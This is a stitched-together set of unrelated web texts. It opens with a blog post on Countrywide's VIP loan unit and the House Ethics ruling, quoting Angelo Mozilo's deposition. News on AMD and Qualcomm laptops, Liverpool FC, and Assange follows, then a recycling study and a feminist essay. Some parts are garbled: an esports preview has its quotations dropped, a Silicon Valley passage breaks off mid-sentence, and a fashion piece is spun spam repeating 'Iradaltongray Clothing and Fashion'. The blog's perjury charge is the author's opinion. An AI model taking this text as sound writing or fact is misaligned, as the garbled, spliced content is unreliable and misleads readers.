A log of all loans processed by Countrywide’s VIP unit showed 17,979 loans between January 1996 and June 2008. Borrowers included Members and employees of Congress, the White House, Fannie Mae, Freddie Mac, federal agencies, and other government entities. The log listed hundreds of duplicate loans – the actual number of VIP borrowers was considerably less than 17,979. Lawyers for Bank of America acknowledged that the log may not contain the full roster of VIP borrowers.
. The log listed hundreds of duplicate loans – the actual number of VIP borrowers was considerably less than 17,979. Lawyers for Bank of America acknowledged that the log may not contain the full roster of VIP borrowers. Countrywide established the VIP unit in 1991 to process loans for senior Countrywide officials and their friends. Referred to internally as Branch 850, the unit had 13 full-time employees trained to provide enhanced customer service. According to VIP Loan Unit operating procedures, the suite of benefits available to VIP borrowers included program/underwriting and pricing exceptions.
. Referred to internally as Branch 850, the unit had 13 full-time employees trained to provide enhanced customer service. According to VIP Loan Unit operating procedures, the suite of benefits available to VIP borrowers included program/underwriting and pricing exceptions. [Former Countrywide lobbyist] Jimmie Williams referred Members of Congress and congressional staff to the company’s VIP desk in California to create a favorable impression of the company on Capitol Hill. To better position himself to lobby Members and staff, Williams made sure they received enhanced customer service.
. To better position himself to lobby Members and staff, Williams made sure they received enhanced customer service. In approximately 2000, Jimmie Williams began routing Members of Congress and congressional staff who he lobbied to a referral desk in California. Williams understood that the referral desk could handle loans for high-profile clients because the staff there frequently handled loans for celebrities. The referral desk was in fact the VIP unit.
Well, as it turns out, all these findings are now moot because, as the AP, reports, the first Committee, that which allegedly represent Ethics at the House (trying typing that with a straight face), has no power to actually do anything for one simple reason: all the allegations of favored treatment involved loans that were granted so long ago that they fell outside the panel's jurisdiction. I.e., the statute of limitation has expired.
How very convenient - as it turns out Congress was abusing taxpayer money and receiving preferential treatment for years, but sorry, nothing can be done about it. It just happened so very long ago...
There is more:
The committee added, however, that participation in the VIP program did not necessarily mean borrowers received the best loan deal available — and most lawmakers were not even aware they were placed in a VIP unit. The actions of unnamed House staff members were harshly criticized. Emails indicated they reached out to Countrywide lobbyists for assistance with their personal loans, but those actions also were too old to remain in the committee's jurisdiction. The panel said that if the incidents had been more recent, the staff members could have faced discipline.
Not discipline. Anything but discipline...
The Oversight report named six current and former members of Congress who received what Countrywide referred to as discounts. All of their names had surfaced previously. The committee has no jurisdiction over actions that occurred more than six years prior to the current Congress — which began in January 2011. But even if the statute of limitations had not run out, the committee said, inclusion in the VIP program was not by itself a violation of House rules or laws. The panel said it found that Countrywide's "discounts" applied to standard loan rates that were commercially available elsewhere. "They are not the kind of 'gift' which would be, in and of itself, outside the realm of reasonable market rates for commercially available loans," said the statement issued by Ethics Committee Chairman Jo Bonner, R-Ala., and ranking Democrat Linda Sanchez of California. Even so, the committee said, members must take steps to ensure they are being treated no differently than a member of the public who is similarly situated.
It gets better:
The committee statement added, "Of greatest concern...was email evidence regarding the specific conduct of some employees...who may have reached out to lobbyists or other government affairs officials at Countrywide for assistance with their personal loans."
In other words the biggest concern was the fact that someone was caught with evidence exposing them red-handed, not that there was gross abrogation of congressional responsibilities, abuse of professional position, and receiving kickbacks in exchange for who knows what actions lobbied on behalf of the one firm that has now cost Bank of America tens of billions in contingent liabilities which have become all too real liabilities, and is in the running for the worst M&A deal of all time.
One really could not make this up if one tried...
So just like that, case closed, and once again in the case of people versus crony capitalism, the people lose.
* * *
And just to give readers a glimpse of the gross cover up that happened behind closed doors, but luckily caught on the record, and which allowed the House to continue on its merry criminal way, but where once more nobody will be held responsible or accountable, here are some extracts from the June 2011 deposition of none other than Agent Orange himself: Angelo Mozilo, courtesy of Manal Mehta.
* * *
Q. Was there a program called "The Friends of Angelo Program" at Countrywide?
MR. SIEGEL: Question's irrelevant.
THE WITNESS: No.
BY MR. SELENDY:
Q. Did you ever hear the term "FOA loan"?
A. Yes.
Q. What does that refer to?
A. Friends of Angelo, but it was not a program.
Q. Okay. What was it, sir?
A. My understanding of it was when a file was put on my desk one day that had "FOA" on it, I asked, "What does this mean?" And they said, "Friends of Angelo." And I said, "Why are you doing that?" Because I originate a lot of loans. Almost everybody I come in contact with, that was my job, was to originate loans. That's who I was. That's why I started the company. With taxi drivers -- Do you have any interest in this answer or --
Q. I do have an interest.
A. Then I'll just wait until you're finished.
Q. Continue, sir. Every statement you make is on the record. It's recorded both in the --
A. I know it is.
Q. -- in the transcript and the video. You can continue, sir.
A. I made it known to anyone who had an interest that I was in the mortgage business -- waiters, taxi drivers, limo drivers, stewardesses, gardeners -- and I'd give them my card, and when they called, I put those loans into our underwriting system. My people decided to label "FOA." They were not friends. But it was business. That was my business, to originate loans. And I asked the people, "Why did you put FOA? Why are you doing this?" And they said, "Because you referred them to our underwriting system. If we reject the loan, we want to warn you in advance so you're not blind-sided." And that was the purpose of it. That was fine by me. And that's the way it continued.
Q. First document is dated December 17th, 2004. In the subject line it states "Re: FOA." And you state in your e-mail: "In case you didn't receive my first message, you are to approve and close this loan. Next time you have a request of this nature from a former senior executive of Countrywide you should contact me directly." Do you see that, sir?
A. Uh-huh.
Q. And this is an example of a Friend of Angelo Loan; correct?
MS. CONCANNON: Objection.
MR. SIEGEL: Argumentative.
BY MR. SELENDY:
Q. Correct?
A. This is an example that you placed in this category of Friend of Angelo. As I said, I was a -- I was the originator of tens of thousands of loans since 1968.
Q. Well, you say I placed it in the category, but that's actually in the subject line of the internal Countrywide e-mail; correct?
A. Yeah, but this whole package is this -- you created this. What your question is -- so yeah, I made that statement seven years ago.
Q. Right. And --
A. Seven and a half years ago to be exact.
Q. If you'll notice, the e-mail that's sent to you states, starting in the second line: "The loan exceeds guidelines based on the following: LTV exceeds guidelines by 9.9 percent, cash out exceeded by $200,000, FICO 627 should be 616." Do you see that?
A. Where are you reading this from?
Q. This is in the middle of the page in the e-mail that's sent to you on the FOA loan.
A. Yeah.
Q. Do you see that?
A. Uh-huh.
Q. And the Structured Loan Desk stated that they were unable to grant an exception for that loan; right, as reflected in the top paragraph?
MR. SIEGEL: Document speaks for itself.
MS. CONCANNON: Objection.
MR. SIEGEL: It's irrelevant.
Q. Do you see that?
A. If that's what it says. I mean, I'm trying to digest this entire document. But if that's what it says, it says that.
Q. Right. And so did you have any basis, from an underwriting perspective, in determining that this was, in fact, a good loan for Countrywide to originate, or was it simply that this was somebody that you knew?
MR. SIEGEL: Question's argumentative.
MS. CONCANNON: Assumes facts not in evidence, lacks foundation.
MR. SIEGEL: Irrelevant.
MS. CONCANNON: Calls for speculation.
THE WITNESS: Is this a loan that MBIA insured?
MR. SELENDY: I'm not here to answer your questions, sir.
THE WITNESS: Well --
MR. SELENDY: I'd like an answer to mine.
THE WITNESS: Look, there could be --
MR. SIEGEL: Why don't you -- why don't you read the whole document. You'll see the answer. Argumentative, irrelevant and --
THE WITNESS: The problem is I'm having a problem reading this stuff.
MR. SIEGEL: The question is: Did you have any basis from an underwriting --
THE WITNESS: This is a 59 percent LTV? Is that what this says here?
MR. SELENDY: That's what the document states.
THE WITNESS: Okay. That's the reason, because 40 percent down.
BY MR. SELENDY:
Q. So you decided that although that attribute had already been considered by guidelines and by the Structured Loan Desk, for you, because this was somebody you knew, that was sufficient?
MR. SIEGEL: That misstates the document. It's argumentative and it misstates facts not in evidence.
THE WITNESS: I'll go back to my original statement. I would make this loan to anybody, whether they were a friend or not.
Q. So did you make any effort to instruct the Structured Loan Desk to change their processing so they would give this kind of loan to anybody, even though they had told you they would not grant it under their existing protocol?
MS. CONCANNON: Objection.
THE WITNESS: No.
BY MR. SELENDY:
Q. Okay. Why is that?
A. Because it didn't require that. And secondly, I didn't -- that was not my role, to go in and change guidelines. My role was to deal with situations like this. I'm an underwriter. Somebody puts 40 percent down, I'm comfortable.
Q. But you didn't want to be comfortable for everybody, huh, just people who --
MR. SIEGEL: Oh, boy, that's argumentative, asked and answered.
THE WITNESS: As I said, my role is not to change guidelines.
BY MR. SELENDY:
Q. Can you turn ahead to the document that has a Bates number ending in 5921? It's dated April 6th, 2006.
A. This one to?
Q. Yes. You say in that, in that request, you say: "Close the loan right away, and thank for this business. He is a close, personal friend." Do you see that?
MR. SIEGEL: Hang on a second, Angelo, while I try to find this document.
THE WITNESS: Towards the end.
MR. SIEGEL: Oh, it's towards the end. Okay. Got it.
MR. SELENDY: Okay.
Q. Again, my question is: Do you see that you stated: "Close the loan right away, and thank for this business. He is a close, personal friend"? Do you see that?
A. Yes.
Q. And was that true?
MR. SIEGEL: Question's irrelevant.
THE WITNESS: A close friend, yeah.
BY MR. SELENDY:
Q. Okay. And in the e-mail that came to you, do you notice that it states, in the list of attributes, "Verified income is $5,848 versus $20,833 stated"? Do you see that?
MR. SIEGEL: Document speaks for itself.
THE WITNESS: I don't see that.
BY MR. SELENDY:
Q. It's the sixth line up, seventh line up from the bottom.
A. Uh-huh.
Q. Do you see that?
A. Yes.
Q. What does that mean, "Verified income is 5,848 versus 20,833 stated"?
A. I don't know.
Q. Doesn't it mean that he said on his application he earns 20,833 per month, whereas all Countrywide could verify was 5,848?
A. I'm not sure.
Q. You don't know.
Did you know at the time?
A. Did I know in 2006? I don't know what I knew in 2006.
Q. Would you have wanted to know that in order to be able to decide whether the loan should be closed right away?
MS. CONCANNON: Objection. Vague, overbroad.
MR. SIEGEL: Irrelevant.
THE WITNESS: Again, there are many factors in underwriting a loan. This, again, is a loan that came to me. I'd approve it for everybody. This is a loan that had a -- he had reserves of a million one hundred fifty-five thousand -- one hundred fifty-six thousand dollars. It was a -- trying to look at the total CLTV here. The LTV was 40 percent loan to value, had 60 percent against the first, and he had a -- and he had a 39 percent second, so total was 79 percent. That's over 20 percent down with a 1,155,000 reserve. And more important to me is the loan performed and performed well.
BY MR. SELENDY:
Q. Does it matter to you that the stated income appeared to be false based on Countrywide's verification?
MS. CONCANNON: Objection.
MR. SIEGEL: That's argumentative, calls for speculation, misstates the document.
THE WITNESS: I think the real issue is what his real income is, and I'm not making a judgment.
* * *
Q. What is an exception loan, sir?
A. It's a loan that we have -- we have specific guidelines that are easily translated into algorithms, but there are many factors in the human experience that cannot be -- you cannot put an algorithm to it; requires someone to look at it and review it. If it was as simple as putting these algorithms in and putting them in a computer, I would not have 66,000 employees, I would have 5,000 employees. But our responsibility, our moral responsibility, our legal responsibility was to make out, all of the advocates for housing, particularly in minority communities, their mandate to banks, CRA, Community Reinvestment Act, back a long time ago. Same thing. There are exceptions. Nobody can fit in the same -- everybody can't fit in that same mould. But everybody has an opportunity, should have an opportunity to own a home where they can demonstrate the ability to pay. And to do that properly and effectively and honestly and truthfully is to do it right, referring the loan out and have somebody take a look at it to see what was missed in the system.
Q. Mr. Mozilo, I agree with much of what you said, but I still need an answer to my question, which is: Is an exception loan a loan that is an
exception to guidelines?
A. Could be.
Q. Isn't that the definition of an exception loan?
MS. CONCANNON: Objection.
MR. SIEGEL: Asked and answered. Just gave you a definition.
THE WITNESS: Well, I don't know, you know. I can't answer your question. I don't know, can't define exactly the global meaning or the universal meaning of an exception. It was simply an exception from the guidelines. There could be other reasons for it.
* * *
You had personal involvement in ensuring that loans were given to public officials on favorable terms; isn't that right?
MR. SIEGEL: Question's argumentative.
MS. CONCANNON: Objection.
MR. SIEGEL: Vague and irrelevant. I don't think you insured any of those.
THE WITNESS: Not only that, but I think that there is no loan that I made to anyone where, one, they couldn't get that loan or a better loan someplace else with thousands of competitors out there. And secondly, one that I didn't believe was a good loan for Countrywide.
Q. Can I have an answer to the question?
A. That's the answer to your question.
Q. My question was whether you had personal involvement in ensuring that loans were given to certain public officials on favorable terms?
MR. SIEGEL: The question's vague, argumentative.
BY MR. SELENDY:
Q. Is the answer "yes"?
MR. SIEGEL: The question's vague, argumentative, misstates the testimony, and it's irrelevant.
THE WITNESS: I recall making some loans to -- actually, I didn't make any loans to anybody. I referred loans over to the underwriters who underwrote those loans, and from time to time I'd be called for whether or not the exception was acceptable or not acceptable. Sometimes they were acceptable, sometimes they weren't.
* * *
Q. Your simple message was to do everything possible to gain productivity and market share; correct?
MR. SIEGEL: Misstates the document.
THE WITNESS: Let me -- let me -- I'm going to read this to you: "As competitors merge we're able to attract new talent into the company, as well as a new and broader base of customers. My message relative to this period of significant change is simple: Be aggressive during the period of competitive advantage to gain market share." That is to get these people, to get this talent. Because Countrywide was nothing more than very talented people. Our advantage over our competition was not product or price, was quality of people. That's my message here.
* * *
Was your 2007 compensation in excess of $140 million?
MR. SIEGEL: Question's vague.
THE WITNESS: Sounds like a lot to me. I don't think so, but I don't know.
BY MR. SELENDY:
Q. Was it over a hundred million dollars?
A. I don't know.
Q. Was it over $50 million?
A. Let's take the compensation apart for a second. I was paid around $2 million a year, I believe, 2 or 2 1/2 million a year base salary.
Everything else I received was based upon earnings and stock price, period. So anything above the $2 1/2 million or $2 million, whatever that number was.
Q. Most -- most people would know, don't you think, whether they made more than a hundred million dollars in a particular year?
MR. SIEGEL: The question is argumentative. You don't have to answer that. That's harassing.
THE WITNESS: My focus was on the company, not on my compensation. I wanted to make sure the company came first. And so I don't know what I made.
* * *
And last but not least:
Q. Did you try to achieve political objectives in approving loans outside of guidelines?
MR. SIEGEL: Question's irrelevant, argumentative and asked and answered.
THE WITNESS: And insulting. And insulting.
BY MR. SELENDY:
Q. Can I have an answer?
A. It's insulting, number one.
Number two, it's the least political company you'll ever find, was Countrywide. There was never an act, an action, an event, anything, that politicians did in favor of Countrywide, ever.
Q. I don't think I have an answer to my question. Did you try to achieve political objectives by approving loans outside of guidelines?
A. No.
(The full Mozillo transcript can be found here)
And that, ladies and gentlemen, is what is called commiting perjury, but since one guilty verdict would take down half of the House of Representatives as complicit criminals, he gets to walk.
The New Normal justice.
* * *
That's ok though, back than it was common knowledge that house prices can never drop. Just like it is common knowledge now that the central banks can never fail, and that interest rates can never, ever surge again.AMD unveiled its Ryzen mobile chips, which feature integrated Radeon Vega graphics, in October. Ryzen CPUs were designed to provide desktop-class performance while still allowing for a small enough footprint for thin-and-lights. The company has revealed two Ryzen mobile processors so far, both of them quad-core chips with eight threads -- a similar architecture to Intel's eighth-generation laptop chipsets.
The higher-end Ryzen has 10 Vega graphics cores, helping it blow away Intel's integrated graphics on benchmarks that AMD ran. For gamers on the go, the Ryzen chipsets can provide decent frame rates for midrange games like League of Legends or Overwatch. Intel's chipsets can go up to 4.2GHz, though, while the higher-end model can only reach 3.8GHz, so AMD's chips may not be as fast in bursts.
Marrying this performance with Snapdragon's X16 LTE modems means that laptops borne from this union could be powerful enough for online gaming over cellular connections. AMD's director of product management, David McAfee, described some of the "unprecedented" possibilities to Engadget. You could, for instance, play an esports game or an MMO title while you're on the road over LTE, thanks to low latency and high bandwidth over today's LTE connections.
McAfee also expects AMD and Qualcomm's collaboration to facilitate "fundamentally transformational user experiences" for business travelers, thanks also to technologies like eSIM, and the ability to switch between carriers or buy packs of data around the world. These are all concepts that were discussed when Microsoft and Qualcomm announced Always Connected PCs at WinHEC last year.
Today, we finally saw actual devices designed for Windows on Snapdragon. ASUS's NovaGo and HP's Envy x2 are laptops that pack Snapdragon 835 processors and can run full Windows 10 (although they'll ship with Windows 10S), complete with x86 app compatibility and support for Windows Ink, Hello and Cortana. They both tout 20-hour battery lives, far more than traditional notebooks, and support Gigabit LTE where available.
But even though the Snapdragon 835 chipset is a capable processor for smartphones, it's not going to help Qualcomm compete with Intel, the other chip maker working on Always Connected PCs. In May, Intel announced it would support eSIM in all its existing and upcoming modems, making itself compatible with the Always Connected PC ecosystem.
A 14nm chip (left) versus the 10nm Snapdragon 835 (right)
With AMD's participation, Qualcomm now has the means to provide more power for laptops that can handle more intensive multitasking beyond the limits of a chip designed for smartphones.
But because no actual product has been unveiled, it's hard to know exactly what to expect. McAfee said AMD's part in this collaboration "is to engineer the experience with Qualcomm so all the parts about stability and software stacks are second to none." That means it'll spend days in labs, testing the mainboards it created with Qualcomm's radios to make sure the parts play nice with each other and work well with the Windows software.
It's been an interesting year for AMD, which seems to be emerging from Intel's shadow. Its Ryzen desktop and mobile processors launched in February and October to positive reception in the industry. Even Intel, AMD's archrival, is now asking for occasional help. A few weeks ago, Intel unveiled a series of enthusiast chipsets that combine its CPU with semi-custom AMD GPUs for stronger graphics performance.
Neither AMD nor Qualcomm has revealed many details beyond confirming their partnership. They've been working together for years. Since 2011, Qualcomm has provided the wireless WAN components for AMD's platform. McAfee said this is meant to be an evolving collaboration that will "play out over generations." In other words, in years to come we might even see them make a chip together. "Maybe that's in the cards in the future," McAfee said.
Still, as it stands, this is intriguing news for the Always Connected PC ecosystem, since it means that future laptops built with Qualcomm radios won't be restricted to smartphone-level performance. At the very least, this gives Intel some competition in this space, and that's good news for consumers.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool captain Jordan Henderson believes Philippe Coutinho is ready to make the leap into the elite of world football.
The gifted Brazilian inspired the Reds to a thrilling 4-3 victory over Arsenal as he netted twice at the Emirates on the opening weekend.
Coutinho has been Liverpool’s outstanding performer for the past two seasons but Henderson insists the stage is now set for him to secure much wider acclaim.
And the skipper says it won’t be long before Coutinho is mentioned in the same breath as the likes of Lionel Messi, Cristiano Ronaldo and Luis Suarez.
“Messi, Ronaldo and Suarez - they are seen as the elite players in world football,” Henderson told the ECHO.
“Philippe has certainly got the talent, the work ethic and the hunger to get into that bracket.
“He’s a fantastic player for us. I’ve seen him develop as a player during his time at Liverpool and he’s still only 24.
“If he continues to work as hard as he does and continues to develop like he has done then I’m sure he will be in that bracket before long. He’s still very young.
“Hopefully it won’t be long before people do regard him alongside the Messis of this world. We have to try to keep him fit and keep him playing like that because he was brilliant against Arsenal.”
There been a buzz around Melwood this week following the Reds’ dramatic triumph in the capital. Spirits have also been buoyed by the sight of Daniel Sturridge and James Milner back in full training after sitting out the game against Arsenal, but the shoulder injury to Sadio Mane could be a concern.
Henderson insists there’s no danger of anyone getting carried away ahead of Saturday’s trip to Burnley after Jurgen Klopp’s side produced such a mixed performance at the Emirates.
“It was a good win for us and of course we would have taken that before the game,” he said.
“We’ve got to be pleased with the three points but we know there are things we need to improve on before the weekend.
“In the first half we didn’t play as well as we would have liked. We just didn’t get going until after they scored.
“The last 10 to 15 minutes of the first half were better from us as we kept the ball better and then Philippe came up with the goods to get us level with that free-kick.
“It was a big goal - an unbelievable strike. From there we grew into the game and looked a lot more confident.
“The manager spoke at half-time about the things we needed to do better and I felt like we did that in the second half.”
Liverpool blew Arsenal away with three goals in the opening 18 minutes of the second half with Coutinho, Adam Lallana and debutant Mane doing the damage.
Henderson is excited about the array of attacking weapons Klopp can call upon this season.
“We have got a lot of talented players going forward,” he said.
“We looked very dangerous at times. There’s a lot of pace and creativity in the final third.
“We scored some great goals but we also need to be solid defensively and provide better protection.
“When Arsenal scored their second they gained momentum and we sat back a bit too much, inviting pressure, so that’s something we need to work on.
“In the end we saw the game out and got the three points which was very pleasing but we all know we can do better.
“Burnley will be a different test and a tough test. We need to keep working and keep building as a team.”A U.N. panel is sticking by its opinion that WikiLeaks founder Julian Assange is a victim of arbitrary detention, rejecting a request by Britain to review the case.
The Working Group on Arbitrary Detention found that Britain had not presented enough new information to merit a new examination. The panel made the decision at a meeting last week, the U.N. human rights office said Wednesday.
In February, the panel found that Britain and Sweden had "arbitrarily detained" Assange, saying he should be freed and entitled to compensation.
Assange has been holed up in the Ecuadorean Embassy in London since 2012 to avoid arrest and extradition to Sweden. Swedish prosecutors want to question him over allegations of rape.
Assange fears he could be sent to the United States over secret-spilling by WikiLeaks.Silicon Valley was little more than orchards and fields back then. But in that fabled, out-of-the-way outpost, a small group of pioneering entrepreneurs and venture financiers -- Arthur Rock and Tommy Davis, Eugene Kleiner, Tom Perkins, and a dozen or so others -- were developing new model of venture capital-financed start-up innovation. Within a couple of decades, they did it: They created a powerful network and social structure for innovation, a culture that valued ideas and merit over corporate hierarchies, and a venture-capital system that drew its resources from limited partners far and wide, that funded companies based on equity and shared risk -- and that empowered and rewarded the techies who made it all possible.
This system of innovation is based on three key principles: technology, talent, and tolerance. A great university like Stanford or MIT |
in to play Smash for Wii U. Not only Canada's best player, but possibly the best Mario main in the world Boreal | Ally will be in attendance. He has been a strong force since the game's release winning The Come Up without dropping a single set against competitors like Mew2King, DKWill, and Nakat and remains strong with recent placements such as 5th at EVO 2015, 4th at Paragon Los Angeles, and 4th at MLG World Finals 2015. Smash talent must run in the family as his older brother HolyNightmare is also a force to be reckoned with having taken 1st place finishes at Enthusiast Gaming Live Get On My Level 2015 and Smash Nexus. Both of these Canadian wonders will be competing at the event but they won't be winning easily.One girl who's sure to put up a fight is recently sponsored SuperGirlKels although she admits herself HolyNightmare will be her biggest challenge.she told us.She is a member of the crew Heart of Hydra which also boasts another player to look out for: Venom. A strong Ryu main he has only recently been thrust into the spotlight for his skills which has been a highly emotional experience for him.he said. Jpeds had been another breakout talent at events but he's just happy to be playing the game he loves.he told us. His secret to success with his Diddy Kong? Playing friends online.SuperGirlKels isn't the only girl in Canada to keep an eye out for. Local Ottawa player Artryuu can make a dent in any bracket but she has faced unique challenges playing Smash as a girl.she told us.She has found that success playing a lesser seen character in Shulk but that pick for her was a no brainer.Her twin sister Tao Chan is just as scary in bracket showing a strong mastery over Mega Man.Another local threat to keep an eye on is BreaD especially because he doesn't just stay local, visiting many events in Montreal.There are other unique players as well like Poke showing that there's more than one scary Mario main in 'The True North' and Knuckles, formerly the best Brawl player in Ottawa, who despite not owning the game also uses Mario to keep up with the best of them.Many exciting rivalries are set to play out at Capital City Smash which are sure to be exciting.Venom told us.Jpeds is hoping for redemption against HolyNightmare as well.Artryuu however has her eyes on a different player.With so much talent in attendance it is difficult to predict a winner. Another Canadian threat, Blacktwins, will not be able to attend the event but shared his thoughts on the matter.he divulged.A special thanks goes out to the players in Canada without the help of which this article could not exist: SuperGirlKels Jpeds, and 613 Smash all of whom can be found on Twitter at the links listed. Capital City Smash will take place onand will be streamed by. More information on the event can be found in its Smashboards Event Post. Need more of Canadian Smash? Stay tuned to Smashboards for the release of the full players interviews from this article early next week!Findings from a University of Alberta researcher shed new light on what may be stopping people from recycling more.
Jennifer Argo, a marketing professor in the U of A's Alberta School of Business, says that people are psychologically hard-wired to believe that products that are damaged or that aren't whole-such as small or ripped paper or dented cans-are useless, and this leads users to trash them rather than recycle them. To circumvent overcrowding landfills and environmental problems, Argo says consumers and manufacturers can take steps to override the urge to toss wholly recyclable items.
"We can change the way products look. We can change the way people perceive them too in terms of their usefulness," she said.
Every scrap is sacred
From their observations and study findings, Argo and co-author Remi Trudel of Boston University found that once a recyclable item ceased to retain its whole form-whether a package that was cut open or a strip of paper torn from a whole piece-users demonstrated an alarming tendency to throw it in the garbage. The process, she says, is seemingly autonomic and likely related to our literal definition of garbage as something being worthless. When it comes to blue-binning it versus using the circular filing system, the size of the object does not matter; the trick, she says, is getting people to recognize that for themselves.
"We gave one group of participants a small piece of paper and asked them to do a creative writing task and just tell us what this paper could be useful for," said Argo. "As soon as they did that, 80 per cent of the time it went into the recycling. It was an automatic flip that it became useful to them again."
The crushed-can conundrum
The other challenge to changing recycling habits comes into play when the product, while still whole, is somehow damaged, imperfect or spoiled. Using a common household item from the study as an example, Argo says although some people crush their cans to make more room in the recycling bag, they overwhelmingly reject a can that is pre-crushed or otherwise dented or damaged. Again, she points out, it is all in the way the usefulness of the can's current condition is perceived.
"People see it as a damaged good that is not useful anymore in any way-what can you do with a crushed can?" Argo said. "If the can came to you crushed and you had to make the decision, our research shows that it's going in the garbage."
Change products, change beliefs?
Argo stresses the challenge to recycling is largely about changing people's beliefs. Policy-makers need to step up efforts to encourage recycling, especially when it comes to messages about the need to recycle and compost as much of household goods as possible. Size and condition are artificial determinants. Incorporating repetitive messaging from producers encouraging recycling is important, she notes, but so is looking at changing packaging.
"Make it easier to preserve the condition the package is actually in once it has been opened," said Argo. "It might mean more expensive packaging because it's a different type.
"I think it's worth the investment because I have no doubt in my mind that people will recycle it to a greater extent than they currently do."Within the Iradaltongray Clothing and Fashion thirties, we have the slim cut dress with wide shoulders together with a moored waist. Also using this same era might be short and thin floral dresses, Iradaltongray Clothing and Fashion man guy style tops, fire Iradaltongray Clothing and Fashion, extended evening dresses, and so forth. Move forward for the 19 forties, plus you’ve got extended sleeved clothes along with buttons, jackets with sharp shoulders, knee Iradaltongray Clothing and Fashion skirts, wrap Iradaltongray Clothing and Fashion dress, jersey Iradaltongray Clothing and Fashion, jumper dresses, satin jackets, and so on. One step forward, as well as the 19 fifties era welcomes you with recorded waists and the entire body cases which are bust enhancing, pencil Iradaltongray Clothing and Fashion, small Iradaltongray Clothing and Fashion, and twiggy dresses. The seventies collection will sport gipsy skirts, Iradaltongray Clothing and Fashion, punk Iradaltongray Clothing and Fashion, extended and elevated pants, and Iradaltongray Clothing and Fashion souvenirs.
Women’s clothing at fashion runway shows can be very glamorous but furthermore very curious. Sometimes you question, would someone really placed on that outdoors? It seems similar to the garments created for fashion shows might be for stars to be able to placed on as costumes in actual films or concert occasions. I don’t think make use of this content of clothing to use inside their lives.
Some fashion fashion runways shows possess an Iradaltongray Clothing and Fashion certain theme like recyclable material or African animal prints. The recyclable material show may showcase materials emulating recycled cans or bottles, bottle caps, trash bags, sea food nets, or chain links. You question if people would actually placed on this outdoors. Someone wearing these clothes may be spotted just like a destitute person. The material doesn’t look pricey nevertheless it probably is. African animal prints may be spots, stripes, bones, crocodile skins, hides, and real real furs.
In my opinion there’ve really been runway shows where the designer would dress the model in fur, and someone within the audience would throw fresh fresh paint towards the model. It has been very questionable whether real fur needs to be ongoing to be used just like a fashion item. Fur used to be pricey but very popular. Now animal rights activists are very in the idea and so are trying too because they can to to avoid designers by utilizing fur inside their clothing lines.
They’re good good examples more crazy runway shows. However, you’ll find more normal ones as created by Calvin Klein or Take advantage of Lauren. There clothes lines are usually modest and trendy. I don’t think they’d always produce a display on recyclable material or African animal prints. Their style is a lot more conservative. The shades they choose tend to be neutral and less fancy.
Runway shows are actually more uncovered for the public on television, and not along with other designers and journalists individually. Shows like “America’s Next Top Model” and “Project Runway” are becoming very well-liked by everyone. It’s type of exciting for your public to find out how idol idol judges of individuals shows make their options, and basically to look for the clothing being patterned. “Project Runway” is definitely an very competitive show where the designers work tough to win top designer within the finish.
In my opinion these runway shows expose more women’s clothing than designer clothing. Women’s runway shows seem to gain popularity only because women are likely thinking about clothing than males generally. Tyra Banks and Heidi Klum, two popular female stars, make these shows popular and attracted plenty of attention due to their well known brands. Your competitors, stars, fashion, and music have brought to produce these shows popular and possess probably attracted plenty of concentrate on fashion runway shows generally.
Finally, while these television shows and fashion runway shows attract plenty of public attention, I am doubtful when the public is really to get these clothing items they see round the shows. Meanwhile, they are only a helpful supply of entertainment for people.My mistrust is not, as one might expect, primarily a result of the violent acts done on my body, nor the vicious humiliations done to my dignity. It is, instead, born of the multitude of mundane betrayals that mark my every relationship with a man—the casual rape joke, the use of a female slur, the careless demonization of the feminine in everyday conversation, the accusations of overreaction, the eyerolling and exasperated sighs in response to polite requests to please not use misogynist epithets in my presence or to please use non-gendered language ("humankind").
There are the insidious assumptions guiding our interactions—the supposition that I will regard being exceptionalized as a compliment ("you're not like those other women"), and the presumption that I am an ally against certain kinds of women. Surely, we're all in agreement that Britney Spears is a dirty slut who deserves nothing but a steady stream of misogynist vitriol whenever her name is mentioned, right? Always the subtle pressure to abandon my principles to trash this woman or that woman, as if I'll never twig to the reality that there's always a justification for unleashing the misogyny, for hating a woman in ways reserved only for women. I am exhorted to join in the cruel revelry, and when I refuse, suddenly the target is on my back. And so it goes.
There are the jokes about women, about wives, about mothers, about raising daughters, about female bosses. They are told in my presence by men who are meant to care about me, just to get a rise out of me, as though I am meant to find funny a reminder of my second-class status. I am meant to ignore that this is a bullying tactic, that the men telling these jokes derive their amusement specifically from knowing they upset me, piss me off, hurt me. They tell them and I can laugh, and they can thus feel superior, or I can not laugh, and they can thus feel superior. Heads they win, tails I lose. I am used as a prop in an ongoing game of patriarchal posturing, and then I am meant to believe it is true when some of the men who enjoy this sport, in which I am their pawn, tell me, "I love you." I love you, my daughter. I love you, my niece. I love you, my friend. I am meant to trust these words.
There are the occasions that men—intellectual men, clever men, engaged men—insist on playing devil's advocate, desirous of a debate on some aspect of feminist theory or reproductive rights or some other subject generally filed under the heading: Women's Issues. These intellectual, clever, engaged men want to endlessly probe my argument for weaknesses, want to wrestle over details, want to argue just for fun—and they wonder, these intellectual, clever, engaged men, why my voice keeps raising and why my face is flushed and why, after an hour of fighting my corner, hot tears burn the corners of my eyes. Why do you have to take this stuff so personally? ask the intellectual, clever, and engaged men, who have never considered that the content of the abstract exercise that's so much fun for them is the stuff of my life.
There is the perplexity at my fury that my life experience is not considered more relevant than the opinionated pronouncements of men who make a pastime of informal observation, like womanhood is an exotic locale which provides magnificent fodder for the amateur ethnographer. And there is the haughty dismissal of my assertion that being on the outside looking in doesn't make one more objective; it merely provides a different perspective.
There are the persistent, tiresome pronouncements of similitude between men's and women's experiences, the belligerent insistence that handsome men are objectified by women, too! that women pinch men's butts sometimes, too! that men are expected to look a certain way at work, too! that women rape, too! and other equivalencies that conveniently and stupidly ignore institutional inequities that mean X rarely equals Y. And there are the long-suffering groans that meet any attempt to contextualize sexism and refute the idea that such indignities, though grim they all may be, are not necessarily equally oppressive.
There are the stereotypes—oh, the abundant stereotypes!—about women, not me, of course, but other women, those women with their bad driving and their relentless shopping habits and their PMS and their disgusting vanity and their inability to stop talking and their disinterest in Important Things and their trying to trap men and their getting pregnant on purpose and their false rape accusations and their being bitches sluts whores cunts… And I am expected to nod in agreement, and I am nudged and admonished to agree. I am expected to say these things are not true of me, but are true of women (am I seceding from the union?); I am expected to put my stamp of token approval on the stereotypes. Yes, it's true. Between you and me, it's all true. That's what is wanted from me. Abdication of my principles and pride, in service to a patriarchal system that will only use my collusion to further subjugate me. This is a thing that is asked of me by men who purport to care for me.
